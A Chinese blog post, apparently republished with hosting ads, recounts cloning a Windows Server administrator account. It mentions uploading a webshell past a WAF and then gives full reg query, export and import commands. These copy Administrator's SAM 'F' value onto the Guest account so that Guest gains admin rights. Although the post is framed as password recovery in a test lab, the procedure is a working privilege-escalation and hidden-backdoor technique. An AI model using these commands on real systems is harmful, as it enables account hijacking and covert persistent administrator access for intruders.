半夜Server 2008R2安裝MS17-010補丁時，重啟系統 發現系統密碼忘記了
還好本地登錄的安全策略留了一個guest用戶
本地搭建了DVWA wEB***測試環境 權限為system
通過漏洞上傳過狗一句話***
***權限為system權限
可以創建用戶 但是無法將用戶添加至管理員組 估計是安全狗攔截了提權操作
隨后將管理員權限克隆至login用戶 登錄成功

網站建設哪家好，找成都創新互聯公司！專注于網頁設計、網站建設、微信開發、小程序制作、集團企業網站建設等服務項目。為回饋新老客戶創新互聯還提供了臨淄免費建站歡迎大家使用！

目標將把Guest提權為Administrator
查詢SAM注冊表下有什么配置文件
Reg query HKLM\SAM\SAM\Domains\Account\Users

查詢用戶名
Reg query HKLM\SAM\SAM\Domains\Account\Users\Names

000001F4的配置文件對應的用戶為Administrator
000001F5的配置文件對應的用戶為Guest
然后把注冊表下的鍵值導出
先把Administrator的鍵值導出 保存到C盤名稱為1.reg
Reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1.reg
再把Guest的鍵值導出 保存到C盤名稱為2.reg
Reg export HKLM\SAM\SAM\Domains\Account\Users\000001F5 c:\2.reg

然后將1.reg “F”的鍵值數據復制下來 替換2.reg里面的”F”鍵值

然后在把2.reg導入到注冊表
Reg import c:\2.reg
最后使用guest登錄
用戶家目錄等 都變成了Administrator的數據
實際上就是Administrator=Guest

另外有需要云服務器可以了解下創新互聯scvps.cn，海內外云服務器15元起步，三天無理由+7*72小時售后在線，公司持有idc許可證，提供“云服務器、裸金屬服務器、高防服務器、香港服務器、美國服務器、虛擬主機、免備案服務器”等云主機租用服務以及企業上云的綜合解決方案，具有“安全穩定、簡單易用、服務可用性高、性價比高”等特點與優勢，專為企業上云打造定制，能夠滿足用戶豐富、多元化的應用場景需求。

本文名稱：記一次克隆管理員的經歷-創新互聯
路徑分享：http://m.newbst.com/article32/dioopc.html

成都網站建設公司_創新互聯，為您提供定制開發、App設計、品牌網站建設、網站建設、網頁設計公司、電子商務

廣告

聲明：本網站發布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網站立場，如需處理請聯系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經允許不得轉載，或轉載時需注明來源： 創新互聯